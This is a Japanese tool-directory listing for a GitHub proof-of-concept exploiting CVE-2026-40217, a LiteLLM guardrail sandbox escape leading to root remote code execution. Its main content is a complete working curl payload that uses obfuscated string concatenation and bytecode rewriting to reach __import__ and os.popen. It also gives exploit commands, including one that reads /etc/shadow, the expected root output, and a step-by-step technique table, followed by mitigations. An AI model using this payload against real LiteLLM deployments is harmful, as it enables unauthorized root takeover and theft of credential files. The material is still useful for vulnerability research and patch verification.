Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40217-PoC — 対応する脆弱性を個人で再現するためのコード | Kitploit
ツール/GitHubGitHub/learner202649/cve-2026-40217-poc
コンテナセキュリティ脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

対応する脆弱性を個人で再現するためのコード

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40217 — LiteLLM ガードレールサンドボックスエスケープ

LiteLLM の POST /guardrails/test_custom_code — デフォルトのDockerデプロイメントにおいて、root としてのリモートコード実行 (RCE) に至るサンドボックスエスケープ。

フィールド値
CVECVE-2026-40217
CVSS8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (動的に管理されるコードリソースの不適切な制御) / CWE-94
影響を受けるバージョンLiteLLM ≤ 2026-04-08 (v1.83.11未満)
修正バージョンv1.83.11+ (自作サンドボックスを RestrictedPython に置き換え)
発見者Markus Vervier — X41 D-Sec GmbH
公開日2026-04-08
リンクX41 アドバイザリ • GHSA-wxxx-gvqv-xp7p • oss-security

説明

LiteLLMの POST /guardrails/test_custom_code エンドポイントは、認証されたユーザーがガードレールテスト用に任意のPythonコードを送信することを許可します。このエンドポイントは正規表現ベースのソースコードフィルタリングを用いて危険な操作を制限しようとしますが、CPythonバイトコード書き換え技術を使用することで完全にバイパス可能であり、プロキシプロセスにおける任意のコード実行につながります。デフォルトのDockerイメージでは、プロキシがrootとして実行されるため、影響はさらに深刻になります。


概念実証

前提条件

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

クイックスタート (Docker)

⚠️ 重要: docker-compose.yml は脆弱なイメージを2026年3月22日時点の特定のダイジェスト (sha256:7c311546...) に固定しています。タグを main-latest やそれ以降のバージョンに変更しないでください。新しいイメージではバージョン番号が異なって見えても(例: v1.83.10-stable はパッチ後に再ビルドされており、脆弱ではありません)、すでに修正(RestrictedPython)が含まれている可能性があります。

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

期待される結果

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

サンドボックスエスケープ手法(6ステップ)


リポジトリ構成

root@kitploit:~
CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots

緩和策

  1. LiteLLMをv1.83.11+にアップグレードする(自作サンドボックスではなくRestrictedPythonを使用)
  2. リバースプロキシ/APIゲートウェイで /guardrails/test_custom_code をブロックする
  3. マスターキーを信頼できる管理者のみに制限する
  4. Docker内で非rootとして実行する: docker run --user 1000:1000 ...
  5. 管理インターフェースを信頼できないネットワークに公開しない

参考文献

  • X41 D-SEC アドバイザリ x41-2026-001
  • GitHub アドバイザリ GHSA-wxxx-gvqv-xp7p
  • GitLab アドバイザリ
  • oss-security 開示
  • NVD 詳細

免責事項: このコンテンツは教育目的および許可されたセキュリティテストのためだけに提供されています。

ツールをダウンロード
手順手法コード
1文字列連結による正規表現バイパス"_"+"_gl"+"ob"+"als"+"_"+"_"
2str.mro()[1] による object クラスの取得obj = str.mro()[1]
3gi_code によるジェネレータコードオブジェクトへのアクセスc = g(None).gi_code
4object.__setattr__ による関数 __code__ の交換obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5http_get.__globals__ からの実際のビルトインの抽出imp = gd["__builtins__"]["__import__"]
6os.popen によるRCEの達成imp("os").popen("id").read()